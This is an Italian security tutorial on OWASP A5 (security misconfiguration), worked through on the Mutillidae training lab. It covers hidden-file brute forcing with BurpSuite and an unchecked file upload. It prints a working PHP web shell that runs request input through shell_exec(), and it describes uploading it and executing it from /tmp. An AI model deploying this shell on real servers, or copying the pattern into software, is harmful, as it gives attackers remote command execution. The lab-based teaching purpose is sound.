OWASP Top 10 2013 – A5 Configurazione errata di sicurezza
Tempo di lettura: 8 minutiData pubblicazione: November 11, 2016
L’Open Web Application Security Project (OWASP) è una community online, un progetto open-source che offre consigli, guide, articoli e software nell’ambito della sicurezza delle applicazioni. L’OWASP Top 10 include una lista delle maggiori vulnerabilità che un’applicazione web può avere, e l’obbiettivo è quello di educare sulle conseguenze che possono avere delle implementazioni errate e facilmente vulnerabili. Altri progetti degni di nota dalla stessa community sono i Cheat Sheets, una pagina completa di guide approfondite per le maggiori vulnerabilità conosciute, e l’OWASP testing guide. In questa serie di articoli andrò ad analizzare e testare ogni vulnerabilità con esempi pratici, utilizzando Mutillidae.
Dopo aver introdotto e spiegato alcune tipologie di Injection, l’Enumerazione e il bruteforce,il Cross Site Scripting (XSS) e i riferimenti ad un oggetto non sicuro in questo articolo spiegherò come un’applicazione può essere vulnerabile se non si presta particolare attenzione agli aggiornamenti, porte aperte, utenti di default e via discorrendo.
A5 Configurazione errata di sicurezza
Questo è un passo fondamentale. Non si può pensare neanche lontanamente di creare delle applicazioni web e non fare attenzione alle basi della sicurezza. Ma in che modo si può controllare se si è vulnerabili?
- Controllare sempre la presenza di aggiornamenti, di sicurezza o meno. E questa regola vale per ogni tipo di sistema, incluso il sistema operativo, il vostro cms preferito, il database dello stesso;
- Controllare che nel vostro CMS o server non ci siano account di default. Se sono presenti, modificate almeno la password o rimuoveteli completamente;
- Controllare che non ci siano opzioni, servizi o porte aperte a chiunque;
- Controllare che non vengano stampati errori di programmazione all’utente che visiterà la vostra applicazione;
Il problema principale di questa vulnerabilità è che il livello di semplicità per accedere al sistema è talmente basso da risultare semplice anche per i bots. E tutto ciò che richiede allo sviluppatori o proprietario dell’applicazione è un semplice controllo, quotidiano e periodico, dei vari parametri, aggiornamenti o modifiche effettuate di recente.
Nessun controllo sui permessi dei file
È un fatto molto comune utilizzare richieste GET nelle applicazioni web per richiedere le pagine che servono. Ma i file presenti nel server devono essere protetti, non si può permettere a chiunque di visualizzare file segreti. Ecco un semplicissimo esempio di file non protetti.
Mutillidae utilizza, appunto, richieste GET per visualizzare le varie pagine. Per controllare se ci sono pagine nascoste mi basta avviare BurpSuite, configurarlo in modo da effetturare un attacco di forza bruta nella richiesta GET, cambiando però di volta in volta i nomi del pagine, alla ricerca di file nascosti e aperti a chiunque.
La lista dei file utilizzata è possibile trovarla al solito indirizzo. Lancio l’attacco, ordino le richieste effettuate in base alla lunghezza e aspetto che finisca
Mi ha trovato più di 10 pagine segrete, e tutte avevano informazioni in merito al sistema operativo del server (in questo caso il mio computer) e tutte le configurazioni dello stesso. Queste pagine, sebbene non visibili direttamente, se non vengono protette, sono un serissimo rischio per la sicurezza dei propri dati. Per chi volesse vedere un video tutorial, si trova qui.
Upload di file non controllato
Permettere di caricare file direttamente nel server obbliga ad effettuare seri controlli sui file caricati. Se non si effettuano le verifiche sulla tipologia di file c’è la possibilità che questi prendano il controllo della nostra applicazione e permettano operazioni che non dovrebbere in nessun modo essere permesse.
La pagina di Mutillidae file-upload.php fa proprio al caso nostro per verificare se questi controlli sono stati eseguiti.
Quello che andremo ad eseguire per verificare la sicurezza di questa pagina è molto semplice. Basterà scrivere un semplice form in php che permetta di eseguire comandi all’interno dell’applicazione. Il form che ho utilizzato è preso dalla pagina OWASP
<form action="" method="post" enctype="application/x-www-form-urlencoded">
<table style="margin-left:auto; margin-right:auto;">
<tr>
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
Please enter system command
</td>
</tr>
<tr><td> </td></tr>
<tr>
<td style="font-weight: bold;">Command</td>
<td><input type="text" name="pCommand" size="50"></td>
</tr>
<tr><td> </td></tr>
<tr>
<td colspan="2" style="text-align:center;">
<input type="submit" value="Execute Command" />
</td>
</tr>
</table>
</form>
<?php
if (isset($_REQUEST["pCommand"])) {
echo "<pre>";
echo shell_exec($_REQUEST["pCommand"]);
echo "</pre>";
}//end if
?>
Carico quindi il file dalla pagina di upload e, erroneamente, mi viene detto dove è andato il mio file.
Visto che abbiamo ormai capito che per visualizzare le pagine Mutillidae effettua richieste GET, verifico se la cartella _/tmp/ _ è protetta in qualche modo.
E ovviamente non è protetta, ha eseguito il mio script e ora abbiamo una shell a nostra completa disposizione all’interno del server. Non possiamo modificare ne cancellare i file presenti, ma potremmo cercare di scalare i privilegi, visualizzare i file sorgente delle pagine e molte altre cose.
Chi volesse approfondire questa vulnerabilità consiglio questo workshop.
Conclusioni
Potrei riportare inifiniti esempi di queste vulnerabilità, ma il principio è sempre lo stesso. Quotidianamente avvengono accessi abusivi a sistemi informatici per colpa di disattenzioni e mancanza di controlli periodici nella applicazioni o nei sistemi. In questo caso basta davvero poco per fare la differenza e potreggere la proprio applicazione.